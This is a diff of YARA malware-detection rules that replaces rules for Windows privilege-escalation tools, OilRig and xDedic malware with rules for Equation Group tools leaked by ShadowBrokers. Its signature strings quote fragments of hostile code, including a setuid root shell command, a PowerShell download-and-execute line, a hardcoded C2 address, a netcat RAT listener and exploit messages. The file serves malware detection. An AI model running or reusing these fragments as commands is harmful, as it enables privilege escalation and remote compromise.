-		description = "Detects a tool that can be used for privilege escalation - file folderperm.ps1"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file eh.1.1.0.0"
 		author = "Florian Roth (Nextron Systems)"
-		id = "131fdb57-f9ca-5247-8bb4-c939eff5b8bf"
-		date = "2016-06-02"
+		id = "a6f0ec1f-b0e5-5913-970d-9cdadf647c44"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "http://www.greyhathacker.net/?p=738"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_win_privesc.yar#L28-L44"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "899fda75e4c6d9f588767e5170dbd30241a492ba89f7cc1b0ad4adb2fcd173cb"
-		score = 80
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L153-L168"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d0972bb57076606b3c84f3cbbb0be85cd5663c7cd6f6d9f09a2991cb6532bfa9"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1aa87df34826b1081c40bb4b702750587b32d717ea6df3c29715eb7fc04db755"
+		hash1 = "0f8dd094516f1be96da5f9addc0f97bcac8f2a348374bd9631aa912344559628"
 
 	strings:
-		$x1 = "# powershell.exe -executionpolicy bypass -file folderperm.ps1" fullword ascii
-		$x2 = "Write-Host \"[i] Dummy test file used to test access was not outputted:\" $filetocopy" fullword ascii
-		$x3 = "Write-Host -foregroundColor Red \"      Access denied :\" $myarray[$i] " fullword ascii
+		$x1 = "usage: %s -e -v -i target IP [-c Cert File] [-k Key File]" fullword ascii
+		$x2 = "TYPE=licxfer&ftp=%s&source=/var/home/ftp/pub&version=NA&licfile=" ascii
+		$x3 = "[-l Log File] [-m save MAC time file(s)] [-p Server Port]" fullword ascii
 
 	condition:
-		1 of them
+		( uint16(0)==0x457f and filesize <100KB and 1 of them )
 }
-rule SIGNATURE_BASE_Win_Privesc_Adaclscan4_3
+rule SIGNATURE_BASE_Equationgroup_Evolvingstrategy_1_0_1 : FILE
 {
 	meta:
-		description = "Detects a tool that can be used for privilege escalation - file ADACLScan4.3.ps1"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file evolvingstrategy.1.0.1.1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "15867a9c-9b9b-5d29-bf51-2b3e91af556f"
-		date = "2016-06-02"
+		id = "465f709b-1791-5b36-836b-7a0c08bb9b88"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://adaclscan.codeplex.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_win_privesc.yar#L46-L62"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ca657e5c4172d240f46a890fc112ee89d5bdf9e35e7d412332ee11bdaf166215"
-		score = 60
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L170-L188"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "87d25f1a4ca4a75292ab6cdcd1a79890c4475c2a9b34761ed92988bd517b4497"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "3473ddb452de7640fab03cad3e8aaf6a527bdd6a7a311909cfef9de0b4b78333"
+		hash1 = "fe70e16715992cc86bbef3e71240f55c7d73815b4247d7e866c845b970233c1b"
 
 	strings:
-		$s1 = "<Label x:Name=\"lblPort\" Content=\"Port:\"  HorizontalAlignment=\"Left\" Height=\"28\" Margin=\"10,0,0,0\" Width=\"35\"/>" fullword ascii
-		$s2 = "(([System.IconExtractor]::Extract(\"mmcndmgr.dll\", 126, $true)).ToBitMap()).Save($env:temp + \"\\Other.png\")    " fullword ascii
-		$s3 = "$bolValid = $ctx.ValidateCredentials($psCred.UserName,$psCred.GetNetworkCredential().Password)" fullword ascii
+		$s1 = "chown root sh; chmod 4777 sh;" fullword ascii
+		$s2 = "cp /bin/sh .;chown root sh;" fullword ascii
+		$l1 = "echo clean up when elevated:" fullword ascii
+		$x1 = "EXE=$DIR/sbin/ey_vrupdate" fullword ascii
 
 	condition:
-		all of them
+		( filesize <4KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_Xored_URL_In_EXE : FILE
+rule SIGNATURE_BASE_Equationgroup_Toast_V3_2_0 : FILE
 {
 	meta:
-		description = "Detects an XORed URL in an executable"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f83991c8-f2d9-5583-845a-d105034783ab"
-		date = "2020-03-09"
-		modified = "2022-09-16"
-		reference = "https://twitter.com/stvemillertime/status/1237035794973560834"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_xor.yar#L4-L43"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2113324ae04a9022be4cf5c615ad231206eeefb5aa87a2236ec3c9deee9e7ec2"
-		score = 50
-		quality = 85
-		tags = "FILE"
-
-	strings:
-		$s1 = "http://" xor
-		$s2 = "https://" xor
-		$f1 = "http://" ascii
-		$f2 = "https://" ascii
-		$fp01 = "3Com Corporation" ascii
-		$fp02 = "bootloader.jar" ascii
-		$fp03 = "AVAST Software" ascii wide
-		$fp04 = "smartsvn" wide ascii fullword
-		$fp05 = "Avira Operations GmbH" wide fullword
-		$fp06 = "Perl Dev Kit" wide fullword
-		$fp07 = "Digiread" wide fullword
-		$fp08 = "Avid Editor" wide fullword
-		$fp09 = "Digisign" wide fullword
-		$fp10 = "Microsoft Corporation" wide fullword
-		$fp11 = "Microsoft Code Signing" ascii wide
-		$fp12 = "XtraProxy" wide fullword
-		$fp13 = "A Sophos Company" wide
-		$fp14 = "http://crl3.digicert.com/" ascii
-		$fp15 = "http://crl.sectigo.com/SectigoRSACodeSigningCA.crl" ascii
-		$fp16 = "HitmanPro.Alert" wide fullword
+		description = "Equation Group hack tool leaked by ShadowBrokers- file toast_v3.2.0.1-linux"
+		author = "Florian Roth (Nextron Systems)"
+		id = "776014ae-be94-5d81-bceb-fefb67ee1994"
+		date = "2017-04-08"
+		modified = "2023-12-05"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L190-L205"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a505eaafb6882e2701fe0a9b8712f85c1073d83291436eeaa7f4c52876d12359"
+		score = 75
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2ce2d16d24069dc29cf1464819a9dc6deed38d1e5ffc86d175b06ddb691b648b"
+
+	strings:
+		$x2 = "Del --- Usage: %s -l file -w wtmp -r user" fullword ascii
+		$s5 = "Roasting ->%s<- at ->%d:%d<-" ascii
+		$s6 = "rbnoil -Roasting ->" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and (($s1 and #s1>#f1) or ($s2 and #s2>#f2)) and not 1 of ($fp*) and not pe.number_of_signatures>0
+		( uint16(0)==0x457f and filesize <50KB and 1 of them )
 }
-rule SIGNATURE_BASE_Xdedic_Sysscan_Unpacked : CRIMEWARE FILE
+rule SIGNATURE_BASE_Equationgroup_Sshobo : FILE
 {
 	meta:
-		description = "Detects SysScan APT tool"
-		author = " Kaspersky Lab"
-		id = "4f5d37b3-e3aa-51ec-b36e-b494c8abe227"
-		date = "2016-03-14"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file sshobo"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b9392aec-34a8-5ad2-b3fd-eea907d19701"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/75027/xdedic-the-shady-world-of-hacked-servers-for-sale/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sysscan.yar#L1-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "df0834e89c512721547001c910c1461f028a46e954dd51017d4e8bde7893d04a"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L207-L223"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "90c892e06ccedb6a3208d728e9f3c27c14bbe1b4c13b63d4a350bbbf38efbe9d"
 		score = 75
 		quality = 85
-		tags = "CRIMEWARE, FILE"
-		maltype = "crimeware"
-		type = "crimeware"
-		filetype = "Win32 EXE"
-		version = "1.0"
-		hash1 = "fac495be1c71012682ebb27092060b43"
-		hash2 = "e8cc69231e209db7968397e8a244d104"
-		hash3 = "a53847a51561a7e76fd034043b9aa36d"
-		hash4 = "e8691fa5872c528cd8e72b82e7880e98"
-		hash5 = "F661b50d45400e7052a2427919e2f777"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "c7491898a0a77981c44847eb00fb0b186aa79a219a35ebbca944d627eefa7d45"
 
 	strings:
-		$a1 = "/c ping -n 2 127.0.0.1 & del \"SysScan.exe\"" ascii wide
-		$a2 = "SysScan DEBUG Mode!!!" ascii wide
-		$a3 = "This rechecking? (set 0/1 or press enter key)" ascii wide
-		$a4 = "http://37.49.224.144:8189/manual_result" ascii wide
-		$b1 = "Checker end work!" ascii wide
-		$b2 = "Trying send result..." ascii wide
+		$x1 = "Requested forwarding of port %d but user is not root." fullword ascii
+		$x2 = "internal error: we do not read, but chan_read_failed for istate" fullword ascii
+		$x3 = "~#  - list forwarded connections" fullword ascii
+		$x4 = "packet_inject_ignore: block" fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and filesize <5000000 and ( any of ($a*) or all of ($b*))
+		( uint16(0)==0x457f and filesize <600KB and all of them )
 }
-rule SIGNATURE_BASE_Xdedic_Packed_Syscan : FILE
+rule SIGNATURE_BASE_Equationgroup_Magicjack_V1_1_0_0_Client_1_1_0_0 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - Signature Base"
-		author = "Kaspersky Lab - modified by Florian Roth"
-		id = "da8e59f3-53f9-504b-afff-9caab798db6c"
-		date = "2023-12-05"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file magicjack_v1.1.0.0_client-1.1.0.0.py"
+		author = "Florian Roth (Nextron Systems)"
+		id = "008cb5cf-1d2d-5312-9474-2f93db190974"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sysscan.yar#L29-L39"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "04eb5b056e892b2c2cf87e3770847226cccaceb1c743f3b9f8ac548026747ccf"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L225-L239"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "44e853b8d148f84107d29449aa44b2e52226c9d2f397c019aa0f1d347863e388"
 		score = 75
-		quality = 83
+		quality = 85
 		tags = "FILE"
-		company = "Kaspersky Lab"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "63292a2353275a3bae012717bb500d5169cd024064a1ce8355ecb4e9bfcdfdd1"
 
 	strings:
-		$a1 = "SysScan.exe" nocase ascii wide
-		$a2 = "1.3.4." wide
+		$x1 = "result = self.send_command(\"ls -al %s\" % self.options.DIR)" fullword ascii
+		$x2 = "cmd += \"D=-l%s \" % self.options.LISTEN_PORT" fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and filesize >500KB and filesize <1500KB and all of them
+		( uint16(0)==0x2123 and filesize <80KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Oilrig_Malware_Campaign_Gen1 : FILE
+rule SIGNATURE_BASE_Equationgroup_Packrat : FILE
 {
 	meta:
-		description = "Detects malware from OilRig Campaign"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file packrat"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d291edf1-b086-5c61-b131-61c9f6e1267b"
-		date = "2016-10-12"
+		id = "4c0619c4-728f-591f-aa02-7c28f1f42fd1"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/QMRZ8K"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_oilrig.yar#L12-L67"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "17dbf53ba6e27b230e3357963162a1805c6460cdadce8bba68953a97f699e1b7"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L241-L256"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7e88e14e0d9c8e8f5ccca3bea78b875bf75fbf0dd54badc339237ca94f0d6373"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d808f3109822c185f1d8e1bf7ef7781c219dc56f5906478651748f0ace489d34"
-		hash2 = "80161dad1603b9a7c4a92a07b5c8bce214cf7a3df897b561732f9df7920ecb3e"
-		hash3 = "662c53e69b66d62a4822e666031fd441bbdfa741e20d4511c6741ec3cb02475f"
-		hash4 = "903b6d948c16dc92b69fe1de76cf64ab8377893770bf47c29bf91f3fd987f996"
-		hash5 = "c4fbc723981fc94884f0f493cb8711fdc9da698980081d9b7c139fcffbe723da"
-		hash6 = "57efb7596e6d9fd019b4dc4587ba33a40ab0ca09e14281d85716a253c5612ef4"
-		hash7 = "1b2fee00d28782076178a63e669d2306c37ba0c417708d4dc1f751765c3f94e1"
-		hash8 = "9f31a1908afb23a1029c079ee9ba8bdf0f4c815addbe8eac85b4163e02b5e777"
-		hash9 = "0cd9857a3f626f8e0c07495a4799c59d502c4f3970642a76882e3ed68b790f8e"
-		hash10 = "4b5112f0fb64825b879b01d686e8f4d43521252a3b4f4026c9d1d76d3f15b281"
-		hash11 = "4e5b85ea68bf8f2306b6b931810ae38c8dff3679d78da1af2c91032c36380353"
-		hash12 = "c3c17383f43184a29f49f166a92453a34be18e51935ddbf09576a60441440e51"
-		hash13 = "f3856c7af3c9f84101f41a82e36fc81dfc18a8e9b424a3658b6ba7e3c99f54f2"
-		hash14 = "0c64ab9b0c122b1903e8063e3c2c357cbbee99de07dc535e6c830a0472a71f39"
-		hash15 = "d874f513a032ccb6a5e4f0cd55862b024ea0bee4de94ccf950b3dd894066065d"
-		hash16 = "8ee628d46b8af20c4ba70a2fe8e2d4edca1980583171b71fe72455c6a52d15a9"
-		hash17 = "55d0e12439b20dadb5868766a5200cbbe1a06053bf9e229cf6a852bfcf57d579"
-		hash18 = "528d432952ef879496542bc62a5a4b6eee788f60f220426bd7f933fa2c58dc6b"
-		hash19 = "93940b5e764f2f4a2d893bebef4bf1f7d63c4db856877020a5852a6647cb04a0"
-		hash20 = "e2ec7fa60e654f5861e09bbe59d14d0973bd5727b83a2a03f1cecf1466dd87aa"
-		hash21 = "9c0a33a5dc62933f17506f20e0258f877947bdcd15b091a597eac05d299b7471"
-		hash22 = "a787c0e42608f9a69f718f6dca5556607be45ec77d17b07eb9ea1e0f7bb2e064"
-		hash23 = "3772d473a2fe950959e1fd56c9a44ec48928f92522246f75f4b8cb134f4713ff"
-		hash24 = "3986d54b00647b507b2afd708b7a1ce4c37027fb77d67c6bc3c20c3ac1a88ca4"
-		hash25 = "f5a64de9087b138608ccf036b067d91a47302259269fb05b3349964ca4060e7e"
+		hash1 = "d3e067879c51947d715fc2cf0d8d91c897fe9f50cae6784739b5c17e8a8559cf"
 
 	strings:
-		$x1 = "Get-Content $env:Public\\Libraries\\update.vbs) -replace" ascii
-		$x2 = "wss.Run \"powershell.exe \" & Chr(34) & \"& {waitfor haha /T 2}\" & Chr(34), 0" fullword ascii
-		$x3 = "Call Extract(UpdateVbs, wss.ExpandEnvironmentStrings(\"%PUBLIC%\") & \"\\Libraries\\update.vbs\")" fullword ascii
-		$s4 = "CreateObject(\"WScript.Shell\").Run cmd, 0o" fullword ascii
-		$b1 = "JGdsb2JhbDpteWhvc3QgP" ascii
-		$b2 = "SE9NRT0iJXB1YmxpYyVcTGlicmFyaWVzX" ascii
-		$b3 = "U2V0IHdzcyA9IENyZWF0ZU9iamVjdCgid1NjcmlwdC5TaGV" ascii
-		$b4 = "JHNjcmlwdGRpciA9IFNwbGl0LVBhdGggLVBhcmVudCAtUGF0aCA" ascii
-		$b5 = "DQpTZXQgd3NzID0gQ3JlYXRlT2JqZWN" ascii
-		$b6 = "d2hvYW1pICYgaG9zdG5hb" ascii
+		$x2 = "Use this on target to get your RAT:" fullword ascii
+		$x3 = "$ratremotename && " fullword ascii
+		$x5 = "$command = \"$nc$bindto -vv -l -p $port < ${ratremotename}\" ;" fullword ascii
 
 	condition:
-		( uint16(0)==0xcfd0 and filesize <700KB and 1 of them )
+		( filesize <70KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Oilrig_Malware_Campaign_Mal1 : FILE
+rule SIGNATURE_BASE_Equationgroup_Telex : FILE
 {
 	meta:
-		description = "Detects malware from OilRig Campaign"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file telex"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c577f0ff-1a33-5d7f-93b2-27df8d414bce"
-		date = "2016-10-12"
+		id = "23571734-869d-5d68-9339-d82f168c2e47"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/QMRZ8K"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_oilrig.yar#L69-L86"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b5fc4329bb639765890c49907860883b96d278381b83307c906f624e6645dedd"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L258-L274"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9661bc43831307cb04883cfe8e54ebb2fe72bf3d7731b2b483cd19c40a5aeaa9"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e17e1978563dc10b73fd54e7727cbbe95cc0b170a4e7bd0ab223e059f6c25fcc"
+		hash1 = "e9713b15fc164e0f64783e7a2eac189a40e0a60e2268bd7132cfdc624dfe54ef"
 
 	strings:
-		$x1 = "DownloadExecute=\"powershell \"\"&{$r=Get-Random;$wc=(new-object System.Net.WebClient);$wc.DownloadFile(" ascii
-		$x2 = "-ExecutionPolicy Bypass -File \"&HOME&\"dns.ps1\"" fullword ascii
-		$x3 = "CreateObject(\"WScript.Shell\").Run Replace(DownloadExecute,\"-_\",\"bat\")" fullword ascii
-		$x4 = "CreateObject(\"WScript.Shell\").Run DnsCmd,0" fullword ascii
-		$s1 = "http://winodwsupdates.me" ascii
+		$x1 = "usage: %s -l [ netcat listener ] [ -p optional target port instead of 23 ] <ip>" fullword ascii
+		$x2 = "target is not vulnerable. exiting" fullword ascii
+		$s3 = "Sending final buffer: evil_blocks and shellcode..." fullword ascii
+		$s4 = "Timeout waiting for daemon to die.  Exploit probably failed." fullword ascii
 
 	condition:
-		( uint16(0)==0x4f48 and filesize <4KB and 1 of them ) or (2 of them )
+		( uint16(0)==0x457f and filesize <50KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Oilrig_Malware_Campaign_Gen2 : FILE
+rule SIGNATURE_BASE_Equationgroup_Calserver : FILE
 {
 	meta:
-		description = "Detects Oilrig malware samples"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file calserver"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2ca0aadf-c5a8-5c89-ab1e-0c06d2ab8516"
-		date = "2016-10-12"
-		modified = "2023-01-07"
-		reference = "https://goo.gl/QMRZ8K"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_oilrig.yar#L88-L110"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "861ae1696aaa89c81d04214e67d77d98ae85bd7f64ae2979fbe932dc696fd32c"
+		id = "abe935ee-8579-54f0-b6d3-172d6e2c0482"
+		date = "2017-04-08"
+		modified = "2023-12-05"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L276-L291"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "85080074058703a696ac7f978abd8f4d5234f6553c19736fb52375421c4af42b"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "c6437f57a8f290b5ec46b0933bfa8a328b0cb2c0c7fbeea7f21b770ce0250d3d"
-		hash2 = "293522e83aeebf185e653ac279bba202024cedb07abc94683930b74df51ce5cb"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "048625e9a0ca46d7fe221e262c8dd05e7a5339990ffae2fb65a9b0d705ad6099"
 
 	strings:
-		$s1 = "%userprofile%\\AppData\\Local\\Microsoft\\" ascii
-		$s2 = "$fdn=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('" fullword ascii
-		$s3 = "&{$rn = Get-Random; $id = 'TR" fullword ascii
-		$s4 = "') -replace '__',('DNS'+$id) | " fullword ascii
-		$s5 = "\\upd.vbs" ascii
-		$s6 = "schtasks /create /F /sc minute /mo " fullword ascii
-		$s7 = "') -replace '__',('HTP'+$id) | " fullword ascii
-		$s8 = "&{$rn = Get-Random -minimum 1 -maximum 10000; $id = 'AZ" fullword ascii
-		$s9 = "http://www.israirairlines.com/?mode=page&page=14635&lang=eng<" fullword ascii
+		$x1 = "usage: %s <host> <port> e <contents of a local file to be executed on target>" fullword ascii
+		$x2 = "Writing your %s to target." fullword ascii
+		$x3 = "(e)xploit, (r)ead, (m)ove and then write, (w)rite" fullword ascii
 
 	condition:
-		( uint16(0)==0xcfd0 and filesize <4000KB and 2 of ($s*)) or (4 of them )
+		( uint16(0)==0x457f and filesize <30KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Oilrig_Malware_Campaign_Gen3 : FILE
+rule SIGNATURE_BASE_Equationgroup_Porkclient : FILE
 {
 	meta:
-		description = "Detects Oilrig malware samples"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file porkclient"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1cd5f7ea-4ae6-5642-b8b3-050cfe724e69"
-		date = "2016-10-12"
-		modified = "2023-01-07"
-		reference = "https://goo.gl/QMRZ8K"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_oilrig.yar#L112-L129"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ccc110b04ea3ee9a19ff23babbc759b4ec6114f8b5eb4f42bc5f70f8abde8a53"
+		id = "5b34d5f9-bc76-5cc7-92f7-32c2b7ef7bcf"
+		date = "2017-04-08"
+		modified = "2023-12-05"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L293-L308"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4de13f1cac8698fc86e44d29143877924aec4e6712415ee6b35810afed8072d6"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "5e9ddb25bde3719c392d08c13a295db418d7accd25d82d020b425052e7ba6dc9"
-		hash2 = "bd0920c8836541f58e0778b4b64527e5a5f2084405f73ee33110f7bc189da7a9"
-		hash3 = "90639c7423a329e304087428a01662cc06e2e9153299e37b1b1c90f6d0a195ed"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "5c14e3bcbf230a1d7e2909876b045e34b1486c8df3c85fb582d9c93ad7c57748"
 
 	strings:
-		$x1 = "source code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.htmlrrrr" fullword ascii
-		$x2 = "\\Libraries\\fireueye.vbs" ascii
-		$x3 = "\\Libraries\\fireeye.vbs&" wide
+		$s1 = "-c COMMAND: shell command string" fullword ascii
+		$s2 = "Cannot combine shell command mode with args to do socket reuse" fullword ascii
+		$s3 = "-r: Reuse socket for Nopen connection (requires -t, -d, -f, -n, NO -c)" fullword ascii
 
 	condition:
-		( uint16(0)==0xcfd0 and filesize <100KB and 1 of them )
+		( uint16(0)==0x457f and filesize <30KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Oilrig_Malware_Campaign_Mal2 : FILE
+rule SIGNATURE_BASE_Equationgroup_Electricslide : FILE
 {
 	meta:
-		description = "Detects malware from OilRig Campaign"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file electricslide"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7a6c38e7-bed9-524b-b4a5-c6c895b9c049"
-		date = "2016-10-12"
+		id = "5b1e5293-806a-58e6-b865-66025c8d8c32"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/QMRZ8K"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_oilrig.yar#L131-L149"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b1de7dc3c205c78825f52ea30608b10bafa2c486db53693aa90aa07138fb1a87"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L310-L326"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0803b61afc592d4fba523dc54d8f856a557b916a9f6e256efccd50178e8e024c"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "65920eaea00764a245acb58a3565941477b78a7bcc9efaec5bf811573084b6cf"
+		hash1 = "d27814b725568fa73641e86fa51850a17e54905c045b8b31a9a5b6d2bdc6f014"
 
 	strings:
-		$x1 = "wss.Run \"powershell.exe \" & Chr(34) & \"& {(Get-Content $env:Public\\Libraries\\update.vbs) -replace '__',(Get-Random) | Set-C" ascii
-		$x2 = "Call Extract(UpdateVbs, wss.ExpandEnvironmentStrings(\"%PUBLIC%\") & \"\\Libraries\\update.vbs\")" fullword ascii
